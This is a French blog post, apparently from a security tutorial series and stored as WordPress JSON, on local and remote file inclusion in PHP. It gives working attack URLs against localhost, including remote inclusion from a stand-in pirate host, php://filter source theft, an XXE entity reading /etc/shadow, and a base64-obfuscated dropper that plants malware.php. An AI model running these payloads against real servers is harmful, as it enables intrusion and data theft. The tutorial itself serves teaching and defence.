{"id":166,"date":"2014-10-01T22:08:48","date_gmt":"2014-10-01T21:08:48","guid":{"rendered":"http:\/\/www.mickael-franc.fr\/blog\/?p=166"},"modified":"2015-11-13T15:12:16","modified_gmt":"2015-11-13T14:12:16","slug":"owasp-local-remote-file-inclusion-lfi-rfi","status":"publish","type":"post","link":"https:\/\/www.mickael-franc.fr\/blog\/owasp-local-remote-file-inclusion-lfi-rfi\/","title":{"rendered":"OWASP \/ Local-Remote File Inclusion (LFI \/ RFI) &#038; PHP Shellcoding"},"content":{"rendered":"<p><a href=\"\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/lfi_rfi.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-233 size-full\" src=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/lfi_rfi.png\" alt=\"LFI &amp; RFI\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p style=\"text-align: justify;\">Dans ce quatri\u00e8me article de <a title=\"Failles applicatives\" href=\"http:\/\/www.mickael-franc.fr\/blog\/failles-applicatives\/\" target=\"_blank\">la s\u00e9rie consacr\u00e9e aux failles applicatives<\/a>, j\u2019aborde les failles LFI et RFI au travers de l\u2019OWASP. Vous d\u00e9couvrirez ces failles et apprendrez \u00e0 les d\u00e9tecter. Vous verrez enfin les moyens de vous en pr\u00e9munir.<br \/>\n<!--more--><\/p>\n<h2>Introduction<\/h2>\n<p style=\"text-align: justify;\">L\u2019objet de l\u2019attaque, comme son nom l\u2019indique, est d\u2019inclure un fichier local (LFI) ou distant (RFI) au sein d\u2019une ressource accessible depuis un SI. L\u2019int\u00e9r\u00eat est multiple :<\/p>\n<p style=\"text-align: justify;\">Dans le cas d\u2019une LFI, cela permet par exemple :<\/p>\n<ul style=\"text-align: justify;\">\n<li>D\u2019acc\u00e9der au code source de fichiers priv\u00e9s stock\u00e9s sur le serveur cibl\u00e9 par l\u2019attaque<\/li>\n<li>D\u2019ex\u00e9cuter un script disponible sur le serveur dans un contexte non conventionnel (non pr\u00e9vu par le SI)<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Dans le cas d\u2019une RFI, cela permet par exemple :<\/p>\n<ul style=\"text-align: justify;\">\n<li>De faire ex\u00e9cuter par l\u2019application un script stock\u00e9 sur un serveur distant et construit s\u00fbr-mesure par le pirate<\/li>\n<li>De d\u00e9figurer le site<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ces types d\u2019attaques sont de moins en moins pr\u00e9sentes dans les applications qui sont bas\u00e9es majoritairement sur des framework robustes. Mais ces vuln\u00e9rabilit\u00e9s existent bel et bien, il est donc int\u00e9ressant de conna\u00eetre des m\u00e9thodes d\u2019attaques pour en mesurer la gravit\u00e9.<\/p>\n<p style=\"text-align: justify;\">Cette vuln\u00e9rabilit\u00e9 est aussi couramment appel\u00e9e \u201cfaille d\u2019include\u201d (en rapport avec le nom de la fonction PHP utilis\u00e9e pour inclure un flux).<\/p>\n<h2>Rappel<\/h2>\n<p style=\"text-align: justify;\">L\u2019OWASP (Open Web Application Security Project) dispose d\u2019un projet de classification des failles les plus couramment utilis\u00e9es par des utilisateurs malintentionn\u00e9s sur Internet. Ce document est accompagn\u00e9 d\u2019une qualification des menaces list\u00e9es et d\u2019une explication sur l\u2019exploitation.<\/p>\n<p style=\"text-align: justify;\">Ce projet se nomme le \u201cTop Ten\u00a0\u00bb (et sort chaque ann\u00e9e si le classement \u00e9volue), et est disponible \u00e0 cette adresse : <a href=\"https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project\">https:\/\/www.owasp.org\/index.php\/Category:OWASP_Top_Ten_Project<\/a><\/p>\n<p style=\"text-align: justify;\">Les failles de types LFI ou RFI sont maintenant si rares qu\u2019elles n\u2019apparaissent m\u00eame pas dans le Top Ten 2013 de l\u2019OWASP. Le dernier rapport Topten o\u00f9 ces derni\u00e8res apparaissent date de 2007 et elles se situent en 3\u00e8me position, cf : <a href=\"https:\/\/www.owasp.org\/index.php\/Top_10_2007\">https:\/\/www.owasp.org\/index.php\/Top_10_2007<\/a><br \/>\nSous l\u2019intitul\u00e9 \u201cMalicious File Execution\u201d : <a href=\"https:\/\/www.owasp.org\/index.php\/Top_10_2007-Malicious_File_Execution\">https:\/\/www.owasp.org\/index.php\/Top_10_2007-Malicious_File_Execution<\/a><br \/>\nMais il est important de conna\u00eetre cette vuln\u00e9rabilit\u00e9 car elle fait partie des classiques.<\/p>\n<h2>Qualification de la menace<\/h2>\n<table style=\"border-collapse: collapse;\" border=\"1\">\n<tbody>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084d1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><br \/>\n<span style=\"color: #000;\">Agent de menace<\/span><br \/>\n<\/strong><\/p>\n<\/td>\n<td style=\"text-align: left;\" bgcolor=\"#ebe7e0\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000;\">_<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\">Consid\u00e9rer toute personne externe au SI et en mesure de soumettre des donn\u00e9es non fiables au syst\u00e8me.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084d1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><br \/>\n<span style=\"color: #000;\"><br \/>\nVecteur d\u2019attaque<br \/>\n<\/span><br \/>\n<\/strong><\/p>\n<\/td>\n<td style=\"background-color: #f00;\" bgcolor=\"#F00\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000;\">Exploitation Simple<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\">Consid\u00e9rer toute entr\u00e9e utilisateur attendant un flux (stream), fichier, etc.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084d1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><br \/>\n<span style=\"color: #000;\"><br \/>\nVraisemblance de<br \/>\nla vuln\u00e9rabilit\u00e9<br \/>\n<\/span><br \/>\n<\/strong><\/p>\n<\/td>\n<td style=\"background-color: #ff950e;\" bgcolor=\"#FF950E\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000;\">Peu r\u00e9pandue<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\">Vuln\u00e9rabilit\u00e9 de moins en moins pr\u00e9sente dans les applications r\u00e9centes qui sont bas\u00e9es majoritairement sur des framework robustes.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084d1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000;\">D\u00e9tection de la vuln\u00e9rabilit\u00e9<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #f00;\" bgcolor=\"#F00\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000;\"><br \/>\nFacile<br \/>\n<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\">Les LFI \/ RFI ont lieu lorsqu\u2019une application inclut dans une page : un flux (stream) ou un fichier qui est d\u00e9fini via une entr\u00e9e utilisateur.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084d1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000;\">Impact technique<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #f00;\" bgcolor=\"#F00\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000;\">S\u00e9v\u00e8re<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\">Vol de fichiers, codes sources, d\u00e9figurer le site, etc. Le script \u00e9tant d\u00e9velopp\u00e9 par l\u2019attaquant, tout est envisageable.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"background-color: #0084d1;\" bgcolor=\"#0084d1\">\n<p dir=\"ltr\" style=\"text-align: center;\"><strong><span style=\"color: #000;\"><br \/>\nImpact m\u00e9tier<br \/>\n<\/span><\/strong><\/p>\n<\/td>\n<td style=\"background-color: #ebe7e0;\" bgcolor=\"#ebe7e0\">\n<p dir=\"ltr\" style=\"text-align: center;\"><span style=\"color: #000;\">_<\/span><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\">Tout d\u00e9pend de la criticit\u00e9 des ressources priv\u00e9es stock\u00e9es et de l\u2019impact d\u2019une divulgation de la vuln\u00e9rabilit\u00e9<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>Comment d\u00e9tecter si une entr\u00e9e utilisateur est vuln\u00e9rable en PHP ?<\/h2>\n<h3><strong>Via la configuration PHP <\/strong><\/h3>\n<h4>allow_url_open<span style=\"text-decoration: underline;\"><br \/>\n<\/span><\/h4>\n<p><i>(cf: <a href=\"http:\/\/php.net\/allow-url-fopen\" target=\"_blank\">http:\/\/php.net\/allow-url-fopen<\/a>)<\/i><\/p>\n<p>Permet la r\u00e9cup\u00e9ration de ressources distantes si sa valeur vaut \u201c1\u201d ou \u201cOn\u201d.<br \/>\nSi sa valeur vaut \u201c0\u201d ou \u201cOff\u201d et que vous utilisez cette fonctionnalit\u00e9, PHP l\u00e8vera une erreur comme :<\/p>\n<p><em>\u201cWarning: include(): http:\/\/ wrapper is disabled in the server configuration by allow_url_fopen=0\u201d [&#8230;]]\u201c<\/em><\/p>\n<h4>allow_url_include<\/h4>\n<p><i>(cf: <a href=\"http:\/\/php.net\/allow-url-include\" target=\"_blank\">http:\/\/php.net\/allow-url-include<\/a>)<\/i><\/p>\n<p>Permet l\u2019inclusion de ressources distantes ainsi que le support des wrappers PHP si sa valeur vaut \u201c1\u201d ou \u201cOn\u201d.<br \/>\nSi sa valeur vaut \u201c0\u201d ou \u201cOff\u201d et que vous utilisez cette fonctionnalit\u00e9, PHP l\u00e8vera une erreur comme :<\/p>\n<p><em>\u201cWarning: include(): php:\/\/ wrapper is disabled in the server configuration by allow_url_include=0 in [&#8230;]]\u201c<\/em><\/p>\n<h4>open_basedir<span style=\"text-decoration: underline;\"><br \/>\n<\/span><\/h4>\n<p><i>(cf: <a href=\"http:\/\/www.php.net\/manual\/fr\/ini.core.php#ini.open-basedir\" target=\"_blank\">http:\/\/www.php.net\/manual\/fr\/ini.core.php#ini.open-basedir<\/a>)<\/i><\/p>\n<p>Permet de restreindre les ressources accessibles depuis PHP. Si cette option n\u2019est pas d\u00e9finie, et que votre application est vuln\u00e9rable au LFI, le risque pour votre SI sera plus important.<br \/>\nLorsque PHP bloque l\u2019acc\u00e8s \u00e0 une ressource via cette directive, il l\u00e8vera une erreur (type Warning) comme :<br \/>\n<em> \u201cWarning: Unknown: open_basedir restriction in effect\u201d<\/em><\/p>\n<h3><strong>Via le code applicatif <\/strong><\/h3>\n<h4>Audit en boite blanche<\/h4>\n<p>Il suffit de regarder chaque occurrence d\u2019appel aux fonctions suivante :<\/p>\n<ul>\n<li><a href=\"http:\/\/php.net\/manual\/fr\/function.include.php\" target=\"_blank\">include()<\/a><\/li>\n<li><a href=\"http:\/\/php.net\/manual\/fr\/function.require.php\" target=\"_blank\">require()<\/a><\/li>\n<li><a href=\"http:\/\/php.net\/manual\/fr\/function.include-once.php\" target=\"_blank\">include_once()<\/a><\/li>\n<li><a href=\"http:\/\/php.net\/manual\/fr\/function.require-once.php\" target=\"_blank\">require_once()<\/a><\/li>\n<\/ul>\n<p>Et v\u00e9rifier si le param\u00e8tre pass\u00e9 \u00e0 la fonction est directement ou indirectement une entr\u00e9e utilisateur, si c\u2019est le cas votre application est s\u00fbrement vuln\u00e9rable.<\/p>\n<h4>Audit en boite noire<\/h4>\n<p>La m\u00e9thode la plus simple consiste \u00e0 passer en param\u00e8tre une cha\u00eene correspondant \u00e0 un chemin d\u2019acc\u00e8s (ou path) qui pointera hors du dossier racine du projet web. Ce dossier est configur\u00e9 dans le virtual host du serveur web. L\u2019int\u00e9r\u00eat de remonter le plus haut possible dans l\u2019arborescence du syst\u00e8me de fichier est de pousser le script \u00e0 planter.<br \/>\nEn prenant le script pr\u00e9c\u00e9dent pour exemple, il suffirait d\u2019injecter dans le param\u00e8tre GET page le chemin d\u2019acc\u00e8s suivant :<\/p>\n<p><a href=\"http:\/\/localhost\/lfi.php?page=..\/..\/..\/..\/..\/\">http:\/\/localhost\/lfi.php?page=..\/..\/..\/..\/..\/<\/a><\/p>\n<p>Si le script plante c\u2019est que l\u2019application est tr\u00e8s probablement vuln\u00e9rable ou que le param\u00e8tre est filtr\u00e9.<\/p>\n<p>Les erreurs pouvant \u00eatre affich\u00e9es par PHP pourraient \u00eatre les suivantes :<\/p>\n<p><em>\u201cfailed to open stream: No such file or directory\u201d<\/em><\/p>\n<p>Si cette erreur est affich\u00e9e, la faille est av\u00e9r\u00e9e.<\/p>\n<h2>Exemples d\u2019attaques<\/h2>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Pr\u00e9dicat :<\/span> Pour simplifier les exemples qui suivront, nous utiliserons des adresses avec le m\u00eame s\u00e9parateur de dossier que celui utilis\u00e9 sur les syst\u00e8mes Unix soit \u201c\/\u201d au lieu de \u201c\\\u201d utilis\u00e9 sur les solutions de Microsoft.<\/p>\n<p style=\"text-align: justify;\">Pour nos exemples, prenons le script vuln\u00e9rable aux LFI et aux RFI suivant :<\/p>\n<pre><code class=\"php\">&lt;?php\r\n$page = array_key_exists('page', $_GET) ? $_GET['page'] : null ;\r\nif (!is_null($page)) {\r\n  include($page);\r\n} else {\r\n  echo \"Aucun page \u00e0 inclure...\";\r\n}\r\n?&gt;\r\n<\/code><\/pre>\n<p style=\"text-align: justify;\">Ce script ne fait qu\u2019attendre un param\u00e8tre HTTP GET nomm\u00e9 page, qui correspondra \u00e0 un flux, pour ensuite le rendre dans la page r\u00e9sultante.<\/p>\n<p>Le fichier de configuration php.ini contiendra les directives suivantes :<code class=\"ini\"><\/code><\/p>\n<pre><code class=\"ini\">allow_url_fopen = On\r\nallow_url_include = On\r\n<\/code><\/pre>\n<h3><strong>LFI basique <\/strong><\/h3>\n<p>Imaginons qu\u2019il existe un fichier nomm\u00e9 \u201cconfig.xml\u201d dans un sous-dosssier \u201cdatabase\u201d, il serait possible d\u2019afficher son contenu en appelant la ressource comme il suit :<\/p>\n<p><a href=\"http:\/\/localhost\/lfi.php?page=database\/config.xml\">http:\/\/localhost\/lfi.php?page=database\/config.xml<\/a><\/p>\n<h3><strong>RFI basique <\/strong><\/h3>\n<p>Au lieu d\u2019inclure un fichier local, il est possible de passer en param\u00e8tre une url pointant vers un script malicieux d\u00e9velopp\u00e9 par un pirate.<\/p>\n<p><a href=\"http:\/\/localhost\/rfi.php?page=http:\/\/serveur-pirate.net\/exploit.php\">http:\/\/localhost\/rfi.php?page=http:\/\/serveur-pirate.net\/exploit.php<\/a><\/p>\n<p>Ce script sera r\u00e9cup\u00e9r\u00e9 par l\u2019application et ex\u00e9cut\u00e9 puis rendu dans la page r\u00e9sultante.<\/p>\n<h3><strong>RFI avec Data URI <\/strong><\/h3>\n<p><a href=\"http:\/\/localhost\/rfi.php?page=data:\/\/text\/plain;base64,RXhwbG9pdCBEYXRhVVJJIGluY2x1c2lvbg==\">http:\/\/localhost\/rfi.php?page=data:\/\/text\/plain;base64,RXhwbG9pdCBEYXRhVVJJIGluY2x1c2lvbg==<\/a><\/p>\n<p>Ici la ressource pass\u00e9e en param\u00e8tre est un flux de type DataURI o\u00f9 son contenu est d\u00e9fini sous forme d\u2019une cha\u00eene de caract\u00e8re encod\u00e9e en base 64.<br \/>\nLa cha\u00eene de caract\u00e8res<\/p>\n<pre>RXhwbG9pdCBEYXRhVVJJIGluY2x1c2lvbg==<\/pre>\n<p>Correspond au texte suivant : \u201cExploit DataURI inclusion\u201d. C\u2019est ce texte qui sera affich\u00e9 apr\u00e8s injection.<\/p>\n<h3><strong>Remote code execution <\/strong><\/h3>\n<p style=\"text-align: justify;\">Il est possible de faire afficher le retour de la fonction PHP nomm\u00e9e phpinfo() via une LFI, par exemple en utilisant les DataUri avec le \u201cpayload\u201d suivant :<\/p>\n<pre>PD9waHAgcGhwaW5mbygpOz8+<\/pre>\n<p style=\"text-align: justify;\">Cette cha\u00eene de caract\u00e8res correspond au code PHP suivant (une fois d\u00e9cod\u00e9e) :<\/p>\n<p><a href=\"http:\/\/localhost\/lfi.php?page=data:\/\/text\/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B\">http:\/\/localhost\/lfi.php?page=data:\/\/text\/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B<\/a><\/p>\n<p style=\"text-align: justify;\"><span style=\"text-decoration: underline;\">Remarque :<\/span> Pour cet exemple, la directive \u201cregister_globals\u201d n\u2019a pas besoin d\u2019\u00eatre activ\u00e9e dans la configuration de PHP pour fonctionner, car le code PHP est contenu dans le flux inject\u00e9.<\/p>\n<h3><strong>LFI avec \u201cNull bytes\u201d <\/strong><\/h3>\n<p style=\"text-align: justify;\">Pour cet exemple, nous allons complexifier l\u00e9g\u00e8rement la mani\u00e8re dont notre script d\u2019exemple va inclure le flux dans la page r\u00e9sultante.<br \/>\nNous remplacerons \u201cinclude($page);\u201c par \u201cinclude($page . \u201c.html\u201d);\u201d<br \/>\nIci, notre d\u00e9veloppeur fictif souhaitait prot\u00e9ger son script en contraignant au type HTML les ressources pouvant \u00eatre incluses. Je vais vous montrer que c\u2019est une mauvaise pratique et que cette contrainte ne vous pr\u00e9munit pas contre une LFI ou une RFI.<\/p>\n<p style=\"text-align: justify;\">En effet, dans n\u2019importe quel langage, une cha\u00eene de caract\u00e8res se termine par un caract\u00e8re de fin de cha\u00eene (ou NUL). Ce caract\u00e8re est repr\u00e9sent\u00e9 en hexad\u00e9cimal, dans la table ASCII, par la valeur \\x00. Via cette valeur (mais \u201cURL encod\u00e9e\u201d, soit \u201c%00\u201d), nous pouvons forcer l\u2019emplacement o\u00f9 se termine notre cha\u00eene de caract\u00e8res.<br \/>\nAinsi, notre 1er exemple de LFI est toujours possible, m\u00eame avec cette complexification via ce caract\u00e8re sp\u00e9cial :<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/localhost\/lfi.php?page=database\/config.xml%00\">http:\/\/localhost\/lfi.php?page=database\/config.xml%00<\/a><\/p>\n<h3><strong>LFI avec \u201cPHP Wrappers\u201d <\/strong><\/h3>\n<p style=\"text-align: justify;\">La fonctionnalit\u00e9 suivante est g\u00e9n\u00e9ralement assez peu connue dans PHP. En effet, PHP propose une librairie permettant de g\u00e9rer diff\u00e9rents types de flux I\/O (appel\u00e9 aussi \u201cstream\u201d) via un protocole interne nomm\u00e9 \u201cphp:\/\/\u201d, cf: <a href=\"http:\/\/php.net\/manual\/fr\/wrappers.php\">http:\/\/php.net\/manual\/fr\/wrappers.php<\/a><\/p>\n<h3><strong>PHP Filters <\/strong><\/h3>\n<p style=\"text-align: justify;\">Il est possible d\u2019utiliser certains de ces wrappers comme les \u201cPHP filters\u201d pour r\u00e9cup\u00e9rer le code source des fichiers souhait\u00e9s. Via cette technique, il est possible de r\u00e9cup\u00e9rer le code source de fichiers PHP ! Le risque est donc \u00e9norme&#8230;<\/p>\n<p><a href=\"http:\/\/localhost\/lfi.php?page=php:\/\/filter\/read=convert.base64-encode\/resource=lfi.php\">http:\/\/localhost\/lfi.php?page=php:\/\/filter\/read=convert.base64-encode\/resource=lfi.php<\/a><\/p>\n<p style=\"text-align: justify;\">Cet exemple vous permettra d\u2019afficher le contenu du script \u201clfi.php\u201d encod\u00e9 en base 64, soit :<\/p>\n<pre>PD9waHAgDQokcGFnZSA9IGFycmF5X2tleV9leGlzdHMoJ3BhZ2UnLCAkX0dFVCkgPyAkX0dFVFsncGFnZSddIDogbnVsbCA7DQppZiAoIWlzX251bGwoJHBhZ2UpKQ0Kew0KCWluY2x1ZGUoJHBhZ2UpOw0KfQ0KZWxzZQ0Kew0KCWVjaG8gIkF1Y3VuIHBhZ2Ug4CBpbmNsdXJlLi4uIjsNCn0NCj8+DQo=<\/pre>\n<p style=\"text-align: justify;\">Pour r\u00e9cup\u00e9rer le code source en clair, il suffit seulement d\u2019effectuer le traitement inverse. Si vous n\u2019avez pas les outils pour le faire en local, sachez qu\u2019il en existe de nombreux en ligne, comme par exemple : <a href=\"http:\/\/www.base64decode.org\/\">http:\/\/www.base64decode.org\/<\/a><\/p>\n<h3><strong>PHP Inputs <\/strong><\/h3>\n<p style=\"text-align: justify;\">Dans cet exemple, je vais vous monter une autre mani\u00e8re d\u2019inclure un flux dans PHP via le Wrappers : \u201cphp:\/\/input\u201d.<br \/>\nComme le souligne la documentation de PHP, il est possible de passer un flux (url encod\u00e9) en param\u00e8tre HTTP POST (correspondant ici \u00e0 la charge utile o\u00f9 \u201cpayload\u201d) gr\u00e2ce \u00e0 php:\/\/input.<\/p>\n<p style=\"text-align: justify;\">Ci-joint la requ\u00eate HTTP \u00e0 effectuer pour exploiter la LFI :<\/p>\n<pre><code class=\"bash\">POST http:\/\/localhost\/lfi.php?page=php:\/\/input HTTP\/1.0\r\nHost: localhost\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-length: 37<\/code><\/pre>\n<pre>page=Exploit PHP Wrappers php:\/\/input<\/pre>\n<p style=\"text-align: justify;\">Cette requ\u00eate \u00e0 \u00e9t\u00e9 mise dans un fichier nomm\u00e9 \u201cpayload.txt\u201d. Nous avons ensuite utilis\u00e9 l\u2019outil netcat pour soumettre la requ\u00eate \u00e0 notre serveur :<\/p>\n<pre><code class=\"bash\">nc localhost 80 &lt; payload.txt <\/code><\/pre>\n<p style=\"text-align: justify;\">Voici la r\u00e9ponse du serveur HTTP :<\/p>\n<pre><code class=\"bash\">HTTP\/1.1 200 OK\r\nDate: Sun, 09 Mar 2014 02:03:26 GMT\r\nContent-Length: 48\r\nConnection: close\r\nContent-Type: text\/html<\/code><\/pre>\n<pre>page=Exploit PHP Wrappers php:\/\/input<\/pre>\n<p class=\"bash\" style=\"text-align: justify;\">L\u2019inclusion via php:\/\/input a donc fonctionn\u00e9 car le contenu de notre variable POST est affich\u00e9.<\/p>\n<h3><strong>XML External Entity Attack (XXE Attack) <\/strong><\/h3>\n<p>Il est possible d\u2019effectuer une LFI ou RFI depuis un flux XML par le biais d\u2019entit\u00e9 XML, en effet les fonctions PHP suivantes supportent l\u2019utilisation des wrappers :<\/p>\n<ul>\n<li>simplexml_load_file()<\/li>\n<li>DOMDocument :: load()<\/li>\n<\/ul>\n<p>Exemple de fichier XML pi\u00e9g\u00e9 :<\/p>\n<pre>&lt;?xml version=\u201d1.0\u201d?&gt;\r\n&lt;!DOCTYPE ressource[\r\n\u00a0\u00a0 &lt;!ENTITY exploit SYSTEM \"php:\/\/filter\/read=convert.base64-decode\/resource=<a href=\"http:\/\/site-piege\/payload\">http:\/\/site-piege\/payload<\/a>\"&gt;\r\n<b> \u00a0\u00a0 <\/b>&lt;!ENTITY exploit2 SYSTEM \"file:\/\/\/etc\/shadow\" &gt;\r\n\u00a0\u00a0 &lt;!ENTITY exploit3 SYSTEM \"<a href=\"http:\/\/site-piege\/payload2\">http:\/\/site-piege\/payload2<\/a>\" &gt;\r\n]&gt;\r\n<code class=\"xml\">&lt;ressource&gt;&amp;exploit;&amp;exploit2;&amp;exploit3;&lt;\/ressource&gt;\r\n<\/code><\/pre>\n<p>Dans cet exemple l\u2019entit\u00e9 XML \u201cexploit\u201d contiendra le contenu de la ressource \u201cpayload\u201d d\u00e9cod\u00e9e.<\/p>\n<p>Pour en savoir plus sur cette vuln\u00e9rabilit\u00e9 : <a href=\"https:\/\/www.owasp.org\/index.php\/XML_External_Entity_%28XXE%29_Processing\">https:\/\/www.owasp.org\/index.php\/XML_External_Entity_%28XXE%29_Processing<\/a><\/p>\n<h3><strong>LFI &#8211; Shellcoding <\/strong><\/h3>\n<h4>Sc\u00e9nario d\u2019attaque<\/h4>\n<p>Le but ici sera de profiter d\u2019une faille type LFI &amp; RFI pour \u00e9crire sur le serveur un script nuisible forg\u00e9 s\u00fbr-mesure, ce script sera accessible et ex\u00e9cutable depuis l\u2019ext\u00e9rieur et contiendra une code camoufl\u00e9 dans une cha\u00eene encod\u00e9 une ou plusieurs fois en pour la rendre moins lisible, le tout cach\u00e9 dans un contenu \u00e0 priori valide et inoffensif.<\/p>\n<h4><span style=\"text-decoration: underline;\">Prologue explicatif<\/span><\/h4>\n<p>Il est possible en PHP d\u2019exploiter le comportement de la fonction base64_decode() pour cacher une cha\u00eene de caract\u00e8res dans un payload (charge utile) forg\u00e9 s\u00fbr-mesure.<\/p>\n<p>Tout d\u2019abord, l\u2019encodage base64 est compos\u00e9 du jeu de caract\u00e8res suivant (ou alphabet) :<\/p>\n<pre>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/<\/pre>\n<p>Si dans une chaine de caract\u00e8res, pass\u00e9e en param\u00e8tre de la fonction <a href=\"http:\/\/php.net\/manual\/fr\/function.base64-decode.php\" target=\"_blank\">base64_decode()<\/a> contient des caract\u00e8res non compris dans l\u2019alphabet base64 alors ils seront automatiquement supprim\u00e9 lors du d\u00e9chiffrement.<\/p>\n<p>Autre subtilit\u00e9 \u00e0 conna\u00eetre, lors du d\u00e9codage en base64, l\u2019algorithme d\u00e9coupe en bloque de 4 caract\u00e8res existant dans l\u2019alphabet base64 et les d\u00e9code bloc par bloc. Ce point est tr\u00e8s important pour comprendre la m\u00e9thode que j\u2019ai utilis\u00e9 pour construire mon code ex\u00e9cutable.<\/p>\n<h4>Passage \u00e0 l&rsquo;acte<\/h4>\n<p>Voici notre script malintentionn\u00e9 nomm\u00e9 \u201cshellcode.php\u201d :<\/p>\n<pre>&lt;?php\r\n$payload='PD9waHAgcGhwaW5mbygpOz8+'; \/\/ base64 encode phpinfo() callback\r\n$bytesStuffing = 'empty'; \/\/ Bits de bourrage\r\n$shellcode = \"&lt;?php exit('Acces non autorise blablablabla !'); ?&gt;\" . $bytesStuffing . $payload;\r\necho $shellcode;\r\nfile_put_contents(\"php:\/\/filter\/write=convert.base64-decode\/resource=malware.php\",base64_encode($shellcode));\r\n<code class=\"php\">?&gt;\r\n <\/code><\/pre>\n<p><span style=\"text-decoration: underline;\">Remarque :<\/span> Ce script est h\u00e9berg\u00e9 sur le serveur du pirate mais sera ex\u00e9cut\u00e9 sur le serveur de la victime par le biais d\u2019un RFI pour cr\u00e9er le fichier en apparence inoffensif, comme :<br \/>\nhttp:\/\/localhost\/lfi.php?page=http:\/\/site-pirate.net\/shellcode.php<\/p>\n<p>Le fichier cr\u00e9\u00e9 sur le serveur de la victime le fichier sera nomm\u00e9 : \u201cmalware.php\u201d et contiendra le code suivant :<\/p>\n<pre>&lt;?php exit('Acces non autorise blablablabla !'); ?&gt;emptyPD9waHAgcGhwaW5mbygpOz8+<\/pre>\n<p>Comme dit pr\u00e9c\u00e9demment, il semble inoffensif, la preuve, si on l\u2019ex\u00e9cute comme ceci :<br \/>\n<a href=\"http:\/\/localhost\/lfi.php?page=malware.php\">http:\/\/localhost\/lfi.php?page=malware.php<\/a><br \/>\n<a href=\"http:\/\/localhost\/malware.php\">http:\/\/localhost\/malware.php<\/a><\/p>\n<p>Nous obtenons un r\u00e9sultat sous la forme suivante, \u00e0 savoir : \u201cR\u00e9sultat : Acces non autorise blablablabla !\u201d<\/p>\n<p>Pour illustrer l\u2019explication pr\u00e9c\u00e9dente, notre shellcode, avant d\u00e9codage, est d\u00e9coup\u00e9 comme ce qui suit :<\/p>\n<pre>phpe xitA cces nona utor iseb labl abla blae mpty <strong>PD9w aHAg cGhw aW5m bygp Oz8+<\/strong><\/pre>\n<p>Les bits de bourrage servent \u00e0 s\u2019assurer que notre payload ne soit pas scinder en deux lors du d\u00e9codage, il faut que toute la cha\u00eene pr\u00e9c\u00e9dente soit d\u00e9couper en bloc complet de 4 caract\u00e8res (le nombre de bloc n\u2019est pas important) avant d\u2019arriver au payload.<\/p>\n<p>Ainsi, lorsque nous ex\u00e9cutons le script via le filter :<\/p>\n<pre>php:\/\/filter\/read=convert.base64-decode<\/pre>\n<p>nous d\u00e9codons notre cha\u00eene de caract\u00e8res pour en extraire le code nuisible contenu dans le pr\u00e9c\u00e9dent et ainsi ex\u00e9cuter son payload :<\/p>\n<p><a href=\"http:\/\/localhost\/lfi.php?page=php:\/\/filter\/read=convert.base64-decode\/resource=malware.php\">http:\/\/localhost\/lfi.php?page=php:\/\/filter\/read=convert.base64-decode\/resource=malware.php<\/a><\/p>\n<p><span style=\"text-decoration: underline;\">Remarque :<\/span> Le payload une fois d\u00e9cod\u00e9 ressemble \u00e0 cela :<\/p>\n<pre>^+@q\u01ec\u06ba+\u01dbiZnVr&lt;?php phpinfo();?&gt;<\/pre>\n<p>Nous obtenons le r\u00e9sultat de l\u2019appel \u00e0 la m\u00e9thode phpinfo() depuis le serveur de la victime, l\u2019attaque est donc un succ\u00e8s.<\/p>\n<p><a href=\"\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/shellcode-rfi.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-207 size-full\" src=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/shellcode-rfi.png\" alt=\"Shellcode RFI\" width=\"873\" height=\"311\" srcset=\"https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/shellcode-rfi.png 873w, https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/shellcode-rfi-300x107.png 300w, https:\/\/www.mickael-franc.fr\/blog\/wp-content\/uploads\/2014\/10\/shellcode-rfi-624x222.png 624w\" 